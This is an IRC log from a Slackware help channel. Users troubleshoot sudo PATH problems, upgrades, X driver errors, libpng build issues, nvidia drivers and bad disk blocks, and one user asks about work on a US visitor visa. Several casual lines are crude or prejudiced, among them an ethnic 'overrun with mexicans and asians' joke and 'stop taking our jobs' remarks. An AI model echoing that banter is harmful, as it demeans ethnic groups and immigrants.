ckt1g3r (debian-tor@gateway/tor-sasl/ckt1g3r) joined ##slackware. [17:32] it has a "do everything for me" button [17:32] i'm sure you won't have a problem [17:33] sftp (~sftp@79.174.50.208) left irc: Remote host closed the connection [17:34] xsamurai (~munki@pool-173-60-200-189.lsanca.fios.verizon.net) joined ##slackware. [17:36] sftp (~sftp@79.174.50.208) joined ##slackware. [17:38] ty [17:38] have u tried slax=? [17:39] i like how u can make ur own slax [17:39] slax on less than 128MB is going to be pretty entertaining [17:39] hiow? [17:40] if i took kde out? [17:40] Action: alienBOB thought this was still a Slackware channel [17:41] it is [17:41] Hm then install Slackware [17:41] Not some derivative [17:41] its too much for me [17:42] ok gotta go [17:42] bye wario [17:42] bye [17:42] ty for ur help [17:42] and all other [17:42] s [17:42] Leo1 (Leo@static-200-105-223-39.acelerate.net) left ##slackware. [17:46] ridout (~gm@d216-121-212-105.home3.cgocable.net) joined ##slackware. [17:47] alienBOB: you scared him away [17:48] Apparently he was already scared by the prospect of using Slackware [17:48] alienBOB, have you had issues with suspend-to-ram where the screen would come back on? [17:48] No [17:48] *wouldn't [17:49] Ah :-) [17:49] oh, ok [17:49] No as well [17:49] I used to develop heavily for Slax, and I don't even encourage discussing it here. [17:49] heh ok [17:49] Nothing wrong with SLAX. But this is not their support channel [17:50] I have issues where suspend to disk doesn't complete, and I'm stuck booting fresh. But that's anopther issue. [17:50] Camarade_Tux (~adrien@lal69-3-82-241-208-159.fbx.proxad.net) left irc: Ping timeout: 246 seconds [17:50] I think It's FF,s fault. [17:51] I just had s2disk fail a couple minutes ago, strangely. I hate hard-rebooting it in those cases with ext4 [17:51] GooseYArd (~GooseYArd@66.239.162.121.ptr.us.xo.net) joined ##slackware. [17:51] ext4 [17:54] echelon: i have that issue [17:54] echelon: screen doesn't come back [17:54] oh, did you resolve it? :-/ [17:54] slackie (~x@unaffiliated/slackie) left irc: Quit: brb [17:54] it didn't start until i installed kernel 2.6.33.2 [17:55] though i haven't downgraded yet [17:55] it actually happened in 33 then stopped in 33.1 now it's back in 33.2 [17:56] 33 may have actually been an earlier version. [17:56] Camarade_Tux (~adrien@procyon.via.ecp.fr) joined ##slackware. [17:57] jkwood: you think it's firefox? because that is the same issue i have, and only a manual reboot works. [17:57] i thought it was kernel [17:58] intel 950gma [17:58] if you read lkml for a time, you dont do such foolish things, wario. ever. again. recent official kernels are banana-ware ... ripes at customers [17:58] ? [17:59] (im not gonna explain. if you dont get it, sorry.) [17:59] oh, I get it, I just think it's retarded [17:59] lunarvalleys (~lunarvall@dyn3-82-128-187-156.psoas.suomi.net) left irc: Quit: Leaving [18:00] saved then. [18:00] artaud (~phgl82@unaffiliated/artaud) left irc: Quit: rebooting [18:01] Agiofws (~Agiofws@athedsl-424064.home.otenet.gr) left irc: Quit: Terminated with extreme prejudice - dircproxy 1.2.0 [18:01] i'm not your customer [18:02] anyway, idk maybe it's the driver. i'll have to test some more [18:03] Agiofws (~Agiofws@athedsl-424064.home.otenet.gr) joined ##slackware. [18:03] gar0t0 (~gar0t0@unaffiliated/gar0t0) left irc: Quit: rah [18:06] patrick05 (~chatzilla@pasuluzey.xs4all.nl) joined ##slackware. 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[18:14] but I'm putting off cleaning it up [18:14] this is mainly going to be for a backup system / rescue [18:14] so I think 12G should be ok [18:14] with modern drives, dont hesitate to use more. 30 .... 50 why the heck not [18:15] only a 120G drive [18:15] ah, bummer [18:15] installing other os's and need space for ufiles [18:15] i've used 9.9 gig out of 20 heer on my netbook [18:15] here* [18:16] 18/20 here [18:16] ymmv, coolkehon ... get a newer drive ;) [18:17] its an old computer [18:17] I've got an external 1TB hard drive [18:17] Buy me one too, if you don't mind [18:17] need another one for raid but waiting till work during the summer [18:23] patrick05 (~chatzilla@pasuluzey.xs4all.nl) left irc: Quit: ChatZilla 0.9.85 [SeaMonkey 2.0.4/20100317114737] [18:23] biggest thing in my usr is /usr/src/ and /usr/lib/java [18:23] phoenix^ (~fire|bird@unaffiliated/firebird619) left irc: Quit: When music is the weapon, we are all indestructable. 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[18:45] yes [18:45] v6CommO (~cmfodera@wsip-70-167-74-173.sd.sd.cox.net) left irc: Quit: leaving [18:49] powtrix_ (~powtrix@189-69-17-44.dsl.telesp.net.br) joined ##slackware. [18:51] powtrix (~powtrix@189-69-19-61.dsl.telesp.net.br) left irc: Read error: Connection reset by peer [18:51] Nick change: powtrix_ -> powtrix [18:52] v6CommO (~cmfodera@wsip-70-167-74-173.sd.sd.cox.net) joined ##slackware. [18:53] anyone know why sudo would stop working when using eterm instead of konsole? [18:53] ? [18:53] v6CommO: defome "stop working" [18:53] still a member of wheel and /etc/sudoers is right [18:54] s/defome/define/ [18:54] thumbs: "sudo: halt: command not found" [18:54] damn, margaritas at 2pm ftw [18:55] v6CommO, is eterm using a login shell? [18:55] thumbs, define defome [18:55] mancha: typo. [18:56] Necos...no [18:57] i had problems like that with my aliases and such when i started using urxvt [18:57] test34 (~test34@unaffiliated/test34) left irc: Quit: Leaving [18:58] slightly different situation, i know, but still... you probably should be using login shells to make sure each term has the right environment setup (at least that's how i read it) [18:58] path problems? [18:59] change it using chsh? [18:59] mancha, that's what i'm guessing [18:59] me three [19:05] either that or Eterm sucks... which is possible >.> [19:06] I tried symlinking .bashrc to .bash_profile and that crashed the fucker [19:06] saying that all my arguments were too long [19:07] what arguments? [19:07] anything I tried to execute [19:07] ls, slackpkg, halt ... [19:08] i never use sudo personally... [19:09] Razec (1000@187-27-204-87.3g.claro.net.br) joined ##slackware. [19:09] hahaha [19:09] I know...but that doesn't make me not want to punch my monitor [19:10] I generally only use it for halt [19:10] right, so, have you tried any other terms? [19:10] halt is poweroff, no? [19:10] b/c this screen session is the last thing I shut down before going home for the weekend [19:10] and when that screen session ends, it drops me back into my user acct [19:11] last thing to do is shutdown [19:11] qw000t]# [19:11] don't want to su or use the damn menu for that [19:11] caixabox_ (~bd571432@gateway/web/freenode/x-grtxsrncyrcqnvkc) joined ##slackware. [19:11] especially since my hands/fingers are already on the keyboard [19:11] halt is poweroff [19:12] su -c 'halt' #doesn't work for you? [19:13] let's see [19:13] my guess is that it's a path issue that can be fixed by making your term a login shell [19:14] try sudo /sbin/halt [19:15] or: export PATH=$PATH:/sbin [19:15] v6CommO_ (~cmfodera@wsip-70-167-74-173.sd.sd.cox.net) joined ##slackware. [19:15] hmmm [19:16] Necos: that worked [19:16] lol [19:16] figured it would [19:16] caixabox_ (~bd571432@gateway/web/freenode/x-grtxsrncyrcqnvkc) left irc: Ping timeout: 252 seconds [19:16] export PATH=$PATH:/sbin; sudo halt [19:16] did you try making your term use a login shell? :P [19:16] don't understand why it Eterm doesn't see/execute my profile though [19:16] yeah...using login sheel [19:16] shell [19:17] if it's using a login shell, it'll use .bashrc, if not it'll use .bash_profile (i might have that backwards though) [19:17] v6CommO (~cmfodera@wsip-70-167-74-173.sd.sd.cox.net) left irc: Ping timeout: 258 seconds [19:18] but i also think that all of the stuff in /etc/profile.d gets run too if it's a login shell [19:19] pthreat (~pthreat@190.190.190.112) joined ##slackware. [19:19] Hi, I'm in need of a tool to upgrade my slack from 21 to 13 [19:20] is there such tool ? [19:20] slackpkg might work for that... [19:20] pthreat: slackpkg [19:20] pthreat: and good reading of UPGRADE.TXT [19:20] fuck it...time to go home. [19:20] thanks, Necos [19:20] lol, no prob man... have a good weekend [19:20] you too [19:21] v6CommO_ (~cmfodera@wsip-70-167-74-173.sd.sd.cox.net) left irc: Quit: leaving [19:22] byteframe (~byteframe@pool-74-104-2-246.bstnma.east.verizon.net) joined ##slackware. [19:22] And read CAHNGES_AND_HINTS.TXT and the ChangeLog.txt [19:22] ya know... [19:23] neonflux (~neonflux@64.134.229.206) joined ##slackware. [19:23] The-Croupier (~The-Croup@unaffiliated/thecroupier/x-363548) joined ##slackware. [19:23] upgrading the first time is always such a weird experience... [19:23] greetings ;) [19:23] hey The-Croupier [19:23] hiya Necos hows things in this part of the world ;) [19:24] i was wondering, i need to find out more info about a website ;) but google whois is not working...what could one use to see...what info is shown...like who owns it....etc... [19:24] maybe robtex [19:25] what website [19:26] www.taskaid.org ;) its an albanian guy...from what i see... has to do with kids and stuff...or is that what he is implying ;) [19:26] mancha, how much does it matter what the name is though :p [19:26] /m The-Croupier okay www.sexwithmidgets.com is owned by short pron limited [19:26] oops [19:26] lol [19:26] lol [19:27] mancha, good point ;) [19:27] Cann0n (~jack@unaffiliated/cann0n) left irc: Quit: Lost terminal [19:27] The-Croup, whois taskaid.org [19:27] hehehe [19:27] whois.internic.net [19:28] Hermann (~Hermannn@c-de50e255.226-1-64736c10.cust.bredbandsbolaget.se) left irc: Ping timeout: 276 seconds [19:29] i already did that but no reply from lots of servers in between :( [19:29] wierd... [19:30] what is ;) [19:31] http://www.whois.net/whois/taskaid.com [19:31] Necos, i already did the whois not the internic [19:31] been around for a while [19:31] http://www.internic.net/whois.html [19:31] they changed it [19:32] yeah...i remember they had more options apart from the whois ;) [19:32] what happened ;) [19:32] that was quite nice ;) [19:32] i guess everything is a subpage of internic.net now :( [19:33] yeah i guess.... ;) [19:35] slackie (~x@unaffiliated/slackie) joined ##slackware. [19:35] titopoquito (~tito@p508EE41C.dip.t-dialin.net) joined ##slackware. [19:35] i say booo! to that lol [19:35] Necos, we dont care what you say ;:P [19:36] if its not something nice...then dont say anything at all :p [19:36] Action: The-Croupier hides [19:36] lol [19:36] Kaapa (~Something@bl10-138-83.dsl.telepac.pt) left irc: Ping timeout: 258 seconds [19:36] Action: Necos stabs The-Croupier [19:37] Action: The-Croupier uses his uber super ju jitsu skills to avoid the knife and put it in Necos' ehem..ehm "where the sun dont shine" [19:37] a [19:37] s [19:37] hahaha [19:37] timahvo1 (~rogue@41.223.57.82) left irc: Ping timeout: 268 seconds [19:37] Kaapa (~Something@bl11-3-198.dsl.telepac.pt) joined ##slackware. [19:37] anything new concerning security going one these days...been away for like 2weeks [19:37] hey Kaapa [19:37] i'm a trained ninja... you gotta wake up pretty early in the morning to get me with a move like that :P [19:38] true [19:38] powtrix_ (~powtrix@189-69-30-199.dsl.telesp.net.br) joined ##slackware. [19:38] timahvo1 (~rogue@41.223.57.82) joined ##slackware. [19:39] oxiredo_ro (~oxiredo@univ-gw.bh.edu.ro) left irc: Quit: Leaving [19:39] blaines (~blaines@75-171-88-163.phnx.qwest.net) joined ##slackware. [19:40] http://www.di.fm/chilloutdreams/ <--- awesome ambient electronica set [19:40] hey guys...how can one get a social security number to actually work in the us? [19:40] blaines (~blaines@75-171-88-163.phnx.qwest.net) left irc: Max SendQ exceeded [19:40] i have no idea >.> [19:40] but don't get tricked into one of those H1B visa things [19:41] ridout (~gm@d216-121-212-105.home3.cgocable.net) left irc: Quit: Leaving [19:41] powtrix (~powtrix@189-69-17-44.dsl.telesp.net.br) left irc: Ping timeout: 265 seconds [19:41] The-Croupier: www.ssa.gov [19:41] Nick change: powtrix_ -> powtrix [19:41] Necos: why not? [19:42] what is this H1B visa ;) [19:42] temporary work visa [19:42] it's a work visa with specific limitations [19:42] i got a visa in the usa embassy in Athens but in here they told me its not a working visa [19:42] i don't think you are even eligible for medical benefits with an H1B [19:42] The-Croupier: then you can't get SSN [19:42] Necos: uhmm, what medical benefits? [19:42] lol [19:42] its a b1,b2 class or type but i dont get it [19:43] Hermann (~Hermannn@c-de50e255.226-1-64736c10.cust.bredbandsbolaget.se) joined ##slackware. [19:43] The-Croupier: then look it up. either way, if it's not a work visa, then you can't work, then you can't get SSN. [19:43] blaines (~blaines@75-171-88-163.phnx.qwest.net) joined ##slackware. [19:43] ananke, i noticed that ;) [19:43] Necos: so what medical benefits are you talking about? [19:43] i was wondering if there is anything else that could happen...or if there is some kind of mistake made...or whatever [19:44] The-Croupier: mistake on whose part? [19:44] timahvo1 (~rogue@41.223.57.82) left irc: Quit: leaving [19:44] i dont know :( [19:44] im still working on it... [19:44] The-Croupier: so what are you talking about? what mistake? [19:45] ananke, i was talking about medical benefits from a potential employer [19:45] Necos: h1b visa has no impact on that. not sure where you're getting your misinformation from [19:47] http://www.vfs-usa-my.com/applnforms/business.aspx there.... i dont know [19:47] hitest (~hitest@7conn226.rupert.net) joined ##slackware. [19:47] i do have a b1/b2 visa how come i dont qualify [19:48] xsamurai (~munki@pool-173-60-200-189.lsanca.fios.verizon.net) left irc: Quit: leaving [19:48] The-Croupier: how come you don't qualify for what? SSN? it says it right there: it's a temporary visa for visiting, not for longer stays, and you can't work [19:49] ananke, i just remember hearing it in passing once.. i'm far from being an expert on immigration... [19:49] tallship (~hammer@174.33.24.54) left irc: Quit: It's potty time I can't hold it ! Can't hold it! Can't hold it! (Who loves kids? "Charlie Waffles!" - Right! ;) [19:49] Necos: it's false. whoever you heard it from was misinformed [19:50] indeed, i'm reading up on it as we speak [19:50] ananke, i see... i was thinking of working as well though since im already here... [19:51] that kind of sucks not being able to for this limited amount of time [19:51] medical benefits you are eligible for based on what your employer provides [effectively the insurance company your employer has a contract with] does not take immigration status into account [19:51] Syllopsium (~Peter@blears.syllopsium.com) joined ##slackware. [19:51] is there any way they can change that.... for this little amount of time..or do i have to get more paperwork..or something? [19:51] The-Croupier: sorry to tell you, should have thought about it first. [19:52] ananke, yeah... i guess... i must have missread the instructions or something [19:52] but, public benefits do take into your immigration status [19:52] The-Croupier: under what circumstances did you get your current b1/b2 visa? [19:52] im (~im@190.190.190.112) joined ##slackware. [19:52] but since im already here...and i dont really care so much about benefits and stupid things like that.... [19:52] Necos: if you're legally there, no big deal [19:52] Necos: medicaid/medicare do not, if you pay taxes. [19:52] ananke, what do you mean [19:52] seems like I can't upgrade from 12.0 to 12.1 [19:52] err 12.2 [19:53] The-Croupier: uhmm, how did you get your current visa? what's the purpose of your visit in usa? how long will it last? [19:53] ananke, i just went to the embassy told them i want to go to the states, travel and work for some little time and then probably get back at some point... [19:53] i have a friend who is getting medicaid with a green card [19:53] thats what i told them and they gave me a 1year b1/b2 visa [19:54] yeah that's what every illegal tells to himself ;P [19:54] The-Croupier: unless you received another temporary work visa, then chances are you can't work with your current one. go back and ask [19:54] im shut up. im not illegal here... [19:54] im go upgrade something :p [19:54] haha [19:54] Call the DEA! [19:54] green card is as close to citizenship as you can get. it's a permanent residency [19:54] ananke, go back where to the immigration or something? [19:55] stop taking our jobs away man [19:55] The-Croupier: yes, to that embassy [19:55] im stick it up to your upgrade [19:55] (?) [19:55] haha [19:55] where are you at The-Croupier [19:55] im at your moms [19:55] ananke, that is a little far away atm, im in the us...and the embassy is in athens [19:55] Oh good then, so I can call the immigration department [19:56] im, yeah...but in 3hours...coz im on top of somethin right now.. [19:56] really where are you at [19:56] up ur moms [19:56] im: right. it's not even called that anymore. troll elsewhere. [19:56] ananke, sorry...ignore is in order i guess [19:56] urgh, that was weird... [19:57] I was kidding [19:57] too stressed I guess [19:57] ananke, i see... there should be an imigration office around here as well though...in some places in the city would that do [19:57] The-Croupier: contact http://www.uscis.gov/ [19:57] or will there be any implications [19:57] la migra!! [19:58] lol [19:58] The-Croupier: there won't be any implications for asking. call USCIS during business hours, and tell them your situation. see what they say [19:58] urgh [19:59] pizdets (~pizdets@pool-98-116-202-61.nycmny.fios.verizon.net) joined ##slackware. [19:59] pizzledizzle (~pizdets@pool-98-116-202-61.nycmny.fios.verizon.net) left irc: Read error: Connection reset by peer [19:59] pizdets (~pizdets@pool-98-116-202-61.nycmny.fios.verizon.net) left irc: Remote host closed the connection [19:59] I bet this is going to destroy my entire system [19:59] yes! [19:59] in working for the school district, i've heard some pretty interesting stuff about public benefits... [19:59] ezrafree (ezra@208.67.159.229) joined ##slackware. [19:59] ezrafree (ezra@208.67.159.229) left irc: Changing host [19:59] ezrafree (ezra@gware/developer/ezrafree) joined ##slackware. [20:00] im, you're supposed to upgraded 12.0 -> 12.1 -> 12.2 [20:00] anything else and you're screwed [20:00] hehe [20:01] ananke, that was more then fantastic help bro [20:01] I guess is just the libs [20:01] thank you [20:01] gtg to sort this out , thanks alot [20:01] The-Croupier: if you have any more questions, just ask. i'm fairly familiar with most of that [20:01] ananke, but i'm guessing my POV from california is a bit skewed [20:01] Necos: yeah, you're overrun with mexicans and asians :) [20:02] lol [20:02] well, things are just different out here [20:02] and, can i send some of them over to you? :P [20:02] yeah, bro...ill go see what i can do and probably come back for guidance ;) [20:03] The-Croupier, good luck man :) [20:03] could you pm me your email or something...maybe that could help ...or some kind of instant messager ...etc [20:03] Necos, thanks bro ;) [20:03] H1B employment still seems very fishy to me though... [20:04] and we got hit with a LOT of H1B employment here in cali... [20:04] and so many of them got laid off when the first wave of gov't contracts went south [20:05] right bb [20:05] The-Croupier (The-Croup@unaffiliated/thecroupier/x-363548) left ##slackware ("Leaving"). [20:05] time for me to take my ass home study and do this reading for class tomorrow... later folks [20:06] pizzledizzle (~pizdets@pool-98-116-202-61.nycmny.fios.verizon.net) joined ##slackware. [20:06] CygnusX1 (~CygnusX1@c-71-201-12-88.hsd1.in.comcast.net) left irc: Ping timeout: 252 seconds [20:07] yeah...because...Saturday school is really heavy [20:09] crashdata (~crashdata@S0106002129688d6e.vf.shawcable.net) left irc: Read error: Operation timed out [20:11] T3slider (~T3slider@unaffiliated/t3slider) joined ##slackware. [20:12] LSD` (~ianweb@dsl-58-7-6-82.wa.westnet.com.au) left irc: Ping timeout: 268 seconds [20:14] LSD` (~ianweb@dsl-58-7-6-82.wa.westnet.com.au) joined ##slackware. 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[21:26] NaCl: like a drawing tablet thing? [21:26] phoenix^: don't you have one of them? ^^^ [21:27] BP{k}, yeah, I have a graphics tablet, Genius WP8060U [21:30] shonudo (~user@c-68-35-130-174.hsd1.nm.comcast.net) left irc: Ping timeout: 240 seconds [21:31] I have a problem. startx from command line works fine. Slim fails to load and leaves the screen unrecoverable as well as xorgsetup. Any ideas? [21:31] BP{k}: yeah [21:32] X -configure gives the error; [21:32] X: symbol lookup error: /usr/lib/xorg/modules/drivers/newport_drv.so: undefined symbol: LoaderRefSymLists [21:32] ssh is still possible though [21:32] are you on -current ? [21:32] yes [21:33] it's an ati card [21:33] BP{k}: the tablet itself is lagging in the gimp [21:33] I may have to restart X [21:33] did you remove the old crufty xf86 drivers, that got removed from -current ? [21:33] thrice`: i installed -current fresh, though no I have not removed any drivers. [21:33] OK, that should be OK then [21:34] how did you install -current wario ? [21:34] from usb [21:35] X -configure also leaves the screen black and unusable only giving the error above. [21:35] maybe i should just remove newport? [21:35] sure :) [21:37] hehe, done, now instead it's the same error with; xgixp_drv.so: undefined symbol: LoaderReqSymLists [21:38] dchmelik (~d@dynamic-216-227-6-29.ellensburg.fairpoint.net) left irc: Quit: Leaving [21:38] okay, removing that one as well allowed it to finish [21:38] no [21:38] well, [21:38] er [21:38] something else is going on, I think :) [21:39] well i'll see on this reboot. [21:39] |Slacker| (~cris@189.116.201.196) joined ##slackware. [21:39] i do have ARCH=i686 set [21:40] I don't see how that's related? [21:40] dios_mio (1000@88.236.183.56) joined ##slackware. [21:41] me either [21:41] im (~im@190.190.190.112) left irc: Ping timeout: 252 seconds [21:41] slim hung again this time though it actually let me ctrl+alt+backspace [21:42] datace (1000@202.137.125.16) joined ##slackware. [21:42] Knightingale (~tp@unaffiliated/knightingale) joined ##slackware. [21:43] Can slackware 13 install nvidia geforce 9400 gt driver ? [21:44] thrice`: xdm works though. must be a slim thing. I am still concerned about the driver errors I was getting though. [21:44] datace: I would say as long as the driver suppotrs it yes. [21:46] yes they support ... but one thing is my problem, im not sure which one could be.. http://www.nvidia.com/object/unix.html [21:46] datace: 32bits or 64 bits? [21:46] anyone know how to find the value i need to pass to alsamixer -D ? [21:46] http://slackbuilds.org/result/?search=nvidia [21:47] StarX (~StarX@unaffiliated/stars) left irc: Quit: Leaving [21:48] artaud (~phgl82@unaffiliated/artaud) left irc: Quit: leaving [21:48] x86_64 bits [21:48] I'm newbie to linux.. I'm not sure what to do. I need to read like manuals stuff like that... [21:48] im (~im@190.190.190.112) joined ##slackware. [21:49] artaud (~phgl82@unaffiliated/artaud) joined ##slackware. [21:49] artaud (~phgl82@unaffiliated/artaud) left irc: Client Quit [21:49] datace: man and google are generally your best friends.. :) [21:49] thanks.. [21:49] artaud (~phgl82@unaffiliated/artaud) joined ##slackware. [21:49] artaud (~phgl82@unaffiliated/artaud) left irc: Client Quit [21:49] datace: 195.36.15 should suppport it. There are basically two ways you can run ait. Either use the slackbuild, or install directly [21:49] Happens to be that parts of my disk seem to be messed up, is there any tool which could just avoid those clusters, or how do i detect the parts where it's broken [21:49] artaud (~phgl82@unaffiliated/artaud) joined ##slackware. [21:49] Dog is man's best friend. [21:49] I would rather install it directly. [21:49] shemp: then why does mine keep farting? no friend of mine would do that! [21:50] I would [21:50] you don't like slackbuilds? [21:50] artaud (~phgl82@unaffiliated/artaud) left irc: Client Quit [21:51] dive: yes well you don't like colors either, now do you. I don't know if I could be friends with someone like that.. :P [21:51] haha k :P [21:51] datace: then download NVIDIA-Linux-x86_64-195.36.15-pkgX.run {where X is 0,1,2} [21:51] help me plz. [21:51] artaud (~phgl82@unaffiliated/artaud) joined ##slackware. [21:51] What link BP? [21:51] datace: nvidia.com :P [21:51] yeah me too plz ;P [21:52] lol [21:52] datace, what do you need help with exactly? deciding which one to get? [21:52] http://www.nvidia.co.uk/Download/index.aspx?lang=en-uk somewhere here [21:52] datace, ^ [21:53] DIVE [21:53] im: sorry, I'd help if I could, but I honestly don't know - can't afford a new disk? I'd be wary of dodgy hardware [21:53] which driver i would download? [21:53] datace: BP{k} told you.. [21:53] the NVIDIA-Linux-x86_64-195.36.15-pkgX.run {where X is 0,1,2} package/ [21:53] shonudo (~user@c-68-35-130-174.hsd1.nm.comcast.net) joined ##slackware. [21:54] datace: anyway, look.. worst you can do is x won't boot and you'll have to roll back to an old config. take some risks and learn from your mistakes, or else you may never move to independence [21:54] datace, all you have to know is which card you have and whether you are running 32 or 64bit system [21:54] raela: It's a laptop [21:55] initself (~initself@li85-41.members.linode.com) left irc: Quit: Lost terminal [21:55] im: oh, ick.. that would explain it. good luck with finding a workaround [21:55] you guys are great you give me an idea.. of reading. [21:55] I'm sure there is [21:56] raela: I could just dimension it in a way which would avoid that part of the filesystem in particular [21:56] however I need to find *where* is messed [21:56] im, usually formatting the slow way checks for bad sectors and marks them [21:56] im: yeah, I get that.. I've just never had to do hardware checking myself, other than fail and replace [21:56] which clusters are giving trouble, so in that way I could make the partitions avoiding that place in particular [21:56] dive: marks them unusable? [21:56] ty guys. [21:57] im, yes [21:57] dive: so it wouldnt give me any problems [21:57] im, well it shouldn't [21:58] ugh risky [21:58] but I have no garentee [21:58] I just installed everything [21:58] sigh :( [21:58] I can't even spell the word [21:58] I cannot guarantee [21:58] well if that does the trick [21:59] im, when you installed and selected target partitions it gives the option of slow format checking bad sectors, or quick format [21:59] does anyone has any experience formatting and checking with bad sectors ? [21:59] dive: I did a manual mkreiserfs [22:00] well you know what I'll just try it [22:00] I have nothing to lose anyways [22:00] bbl [22:00] im (~im@190.190.190.112) left irc: Quit: leaving [22:00] there's probably a... [22:00] oh well [22:00] well, he did do a fresh install [22:00] thrice`: Slim is failing because of some problem with libpng. I converted to jpg and it works fine. relevent strace: http://dpaste.com/187113/ [22:00] newslacker (~kc@75-121-100-111.dyn.centurytel.net) joined ##slackware. [22:03] Is " solaris " another distro? yes or no [22:03] did you build slim yourself? [22:03] datace, no [22:04] sbopkg [22:04] Gulug (old-times@134-100-73-76.ipv4.gulug.com.br) left irc: Ping timeout: 245 seconds [22:04] "libpng error: Incompatible libpng" [22:04] i was under the impression the libpng bugs were fixed [22:05] right. you run -current, so you know about the big libpng bump and its issues, right? [22:05] yeah [22:05] is "solaris " and " linux " is the same? [22:05] no [22:05] datace: solaris is unix [22:05] are the same? * [22:05] datace: this is the perfect time for google [22:05] yeah.. thnx [22:06] ahh ok.. solaris is unix and linux is slackware [22:06] thrice`: okay well if they aren't fixed wasn't there some link to the work arounds or what not? [22:06] or solaris is unix and slackware is linux? [22:07] datace: what do you /think/? [22:07] blaines (~blaines@75-171-88-163.phnx.qwest.net) left irc: Ping timeout: 240 seconds [22:07] found it [22:07] wario, it's not a problem wish -current, but apps that need building against it. perhaps slim has issues with the new libpng [22:08] Gulug (old-times@134-100-73-76.ipv4.gulug.com.br) joined ##slackware. [22:08] looks like libpng12 is hard-coded in the Makefile. perhaps an 'sed -i -e 's/png12/png14/g' Makefile will help [22:09] hmm, good idea. It will probably be easier to use a jpg instead. [22:09] but not as much fun. ;) [22:09] heh [22:10] blaines (~blaines@75-171-88-163.phnx.qwest.net) joined ##slackware. [22:10] blaines (~blaines@75-171-88-163.phnx.qwest.net) left irc: Remote host closed the connection [22:11] datace (1000@202.137.125.16) left irc: Ping timeout: 276 seconds [22:18] strange that slim works with png on my system though and not this one. [22:22] dive: there's a command named badblocks [22:23] http://www.youtube.com/watch?v=6NPF0A_vGC4 so cool [22:23] which basically gets the bad blocks, and then I feed that to mkreiserfs [22:23] right [22:23] I've never had the problem so knowledge is a bit limited there [22:25] I just know about the option when you format during setup [22:25] matrix (~matrix@static-200-105-223-39.acelerate.net) joined ##slackware. [22:26] the best tool to check a drive completely is normaly the one offered by the drive maker [22:26] hey alll [22:27] hey andarius [22:27] salutations matrix [22:27] have u ever used absolute linux?ç [22:27] no [22:27] has any1 used here? [22:28] people say its the lightest slack based distro [22:28] is it true=? [22:28] a heads up, slack based does nto generate much traffic that is welcome here [22:28] so light, that they don't have their own IRC channel? :) [22:28] i guess [22:28] Strykar (~wakka@122.169.82.24) left irc: Read error: Connection reset by peer [22:29] but its still slack so... [22:29] no [22:29] Strykar (~wakka@122.169.82.24) joined ##slackware. [22:30] slack is slack, nothing else [22:30] dive: slack is my secret lover [22:31] Knightingale (tp@unaffiliated/knightingale) left ##slackware ("Leaving"). [22:31] raela, aha [22:32] but i couldnt find a slackware 4 my cpu [22:32] matrix: ....which cpu [22:32] cpu is supported by the kernel, not the distro [22:33] not completely true :> [22:33] Action: raela installs slack on dive's toaster.. and paints it a rainbow color [22:33] raela, no colours [22:33] timster2 (mindwar@gateway/shell/bshellz.net/x-hqcwtrbboxxmmxiu) joined ##slackware. [22:33] WTF? [22:34] i have a very old cpu [22:34] dive: gimme your address, I want to mail you a card with a bunch of colors on it [22:34] unless it is a 386 it should be doable [22:34] and i thinkt that absolute was going 2 b fine [22:35] use what works [22:35] then use it, up to you. this however is not an absolute linux channel [22:35] we dont know it and cant support it [22:35] its fine [22:35] but u guys have enough knowledge about slack [22:36] so u can help [22:36] matrix: absolute is not slack [22:36] so when you decide to try slack we can help [22:36] matrix: go find their support system [22:36] can i? [22:36] matrix, try going into #debian and asking for help with ubuntu [22:36] on 96mb ram [22:36] dive: I'm serious btw.. address now. I'll write up a card -right now- and mail it in the morning [22:36] absolute is based on slackware [22:37] matrix: so? it's not slack [22:37] matrix: Install it and find out. I hear it's lightweight though you'll just have to try it and see. [22:37] raela, mmmm? [22:38] dive: pm me your address and I'll send a card with an explosion of rainbow. you need color, like, right now [22:38] raela, leave me to my monochrome world [22:38] |rSlacke| (~cris@189.64.227.140) joined ##slackware. [22:38] |Slacker| (~cris@189.116.201.196) left irc: Ping timeout: 240 seconds [22:39] Nick change: |rSlacke| -> |Slacker| [22:39] Shadowkllr (~chatzilla@c-69-253-22-90.hsd1.de.comcast.net) joined ##slackware. [22:42] fhobia (~fhobia@c-67-188-69-121.hsd1.ca.comcast.net) joined ##slackware. [22:42] PenPerk (~carlj@static-71-246-216-235.washdc.fios.verizon.net) joined ##slackware. [22:43] wario do u know how to install absolute= [22:43] ? [22:43] rite? [22:44] noone in here cares about your absolute linux quest. [22:44] dios_mio (1000@88.236.183.56) left irc: Quit: Lost terminal [22:47] absolute linux ? [22:47] yup [22:47] uh oh, i cared a little bit [22:48] ill think about it thrice [22:48] have u installed it?ç [22:48] i don't think he cares, matrix [22:49] fhobia have u installed it? [22:49] stop pming me matrix [22:49] not yet...as of 2 minutes ago, i didn't know about it [22:50] oh [22:50] check it out [22:50] rigt now im getting a message [22:50] that says i cant install lilo [22:51] matrix: see? thus you need *absolute's* help [22:51] go bug their people on a newsgroup or something [22:53] guitarman (~guitarman@d207-81-93-133.bchsia.telus.net) joined ##slackware. [22:53] not sure why i would use absolute linux [22:55] I'm absolutely positive I wouldn't [22:55] *cough* [22:56] I read his reasoning for creating it, and none of them appear to make any sense. [22:56] boo [22:57] it has more games in the y category :3 [22:58] MLanden (~MLanden@pool-72-82-76-34.nrflva.east.verizon.net) joined ##slackware. [22:58] The-Croupier (~The-Croup@unaffiliated/thecroupier/x-363548) joined ##slackware. [22:58] but nobody really uses slackware due to its package selection do they? [22:58] heya,folkd [22:58] whoops*..folks...:P [22:58] MLanden, hi [22:58] heya,dive [22:58] MLanden: hello:) [22:58] mbohun (~mbohun@ppp115-156.static.internode.on.net) joined ##slackware. [22:59] heya,hitest [22:59] 8) hey MLanden [22:59] :) [22:59] (the heys could go on for a while) [22:59] heya,fhobia [22:59] ;P [22:59] jailbraking some iphone would make someone loose the insurance right? [22:59] fhobia: I had quite a time with fortune -o earlier today.. [23:00] lol! fortune has flags? ha ha [23:00] The-Croupier, yes [23:00] fhobia: yep! -o shows only the dirty ones [23:00] hi by the way :) [23:00] well, those flagged as offensive [23:00] rv2733 (~rv2733@c-98-242-168-49.hsd1.fl.comcast.net) joined ##slackware. [23:00] The-Croupier, did you brick it? [23:01] raela: XD [23:01] The-Croupier, do you mean unlocked it? [23:03] mach_kernel (~no@cpe-74-73-253-34.nyc.res.rr.com) joined ##slackware. [23:04] good evenin' slackers [23:04] @o_ [23:05] Evenin',slackmagic [23:05] evening [23:07] anyone here using avant window navigator (awn)? 13.0 slackbuild is for version 0.3.2.1 and I think 0.4.0 is latest. Was wondering if anyone had slackbuild(s) for its dependencies readily available. If not, no biggie, was just hoping to 